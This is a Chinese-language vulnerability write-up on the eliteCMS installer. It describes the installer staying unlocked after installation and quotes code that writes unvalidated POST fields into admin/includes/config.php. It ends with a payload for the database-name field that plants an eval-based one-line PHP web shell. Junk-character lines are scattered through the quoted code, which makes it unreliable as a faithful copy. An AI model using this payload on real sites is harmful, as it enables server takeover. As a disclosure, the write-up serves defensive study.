eliteCMS安装文件未验证 + 一句话写入安全漏洞

admin

eliteCMS的安装程序安装结束后未作锁定，导致黑客可以通过访问安装程序地址进行重复安装

另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
6 n' `, [3 S$ m- b8 K: M8 U+ u我们来看代码：
: g* q- J! r: S" l
& A& N2 s( M$ E...
' b, G  `: U$ e: C( @+ q7 x( |0 yelseif ($_GET['step'] == "4") {
    $file = "../admin/includes/config.php";
    $write = "<?php\n";
    $write .= "/**\n";
3 ?( r' ?. r; F  V! a& L( @    $write .= "*\n";
    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
5 I4 k7 T/ V! Y) [6 o; n' a9 {$ W...略...
0 l$ W( b9 L4 ^2 T) O* e    $write .= "*\n";
    $write .= "*/\n";
- r. i7 u6 `9 A- y    $write .= "\n";
* H( r9 f" g+ P) G6 f+ ^0 U    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";
    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
; c% O( K% L( Z' V/ F) |' X+ Z1 ~    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
8 \& A3 W: O2 C# C& V6 A    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
    $write .= "if (!\$connection) {\n";
- v6 d. b- x! L    $write .= "        die(\"Database connection failed\" .mysql_error());\n";
! ?. f. W3 B: @$ W7 t    $write .= "        \n";
    $write .= "} \n";
! H& M3 F/ F. a% F7 ~0 G    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
    $write .= "if (!\$db_select) {\n";
    $write .= "        die(\"Database select failed\" .mysql_error());\n";
7 _  [/ ]$ i( N. d4 E2 F    $write .= "        \n";
    $write .= "} \n";
* q, O0 s. Z4 _. T/ k    $write .= "?>\n";
  M  l5 C) a* ?$ k( _
    $writer = fopen($file, 'w');
...

: K3 E; E$ G  m2 \在看代码：

$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
. A( g8 }3 \/ R* L) F, A/ R$_SESSION['DB_USER'] = $_POST['DB_USER'];
$_SESSION['DB_PASS'] = $_POST['DB_PASS'];
, W0 `% k. F, @. x5 [# Q
取值未作任何验证
9 H$ H( i5 q% ~! a6 h: {如果将数据库名POST数据：
1 E$ ?1 o) C2 S  E( Z1 B& j
4 T$ z! ^, T& U6 v& c3 P"?><?php eval($_POST[c]);?><?php

9 t, Z2 W# ^( A' D) ^5 r. C* E将导致一句话后门写入/admin/includes/config.php
- t+ o+ c! X3 Y6 s" @- _, I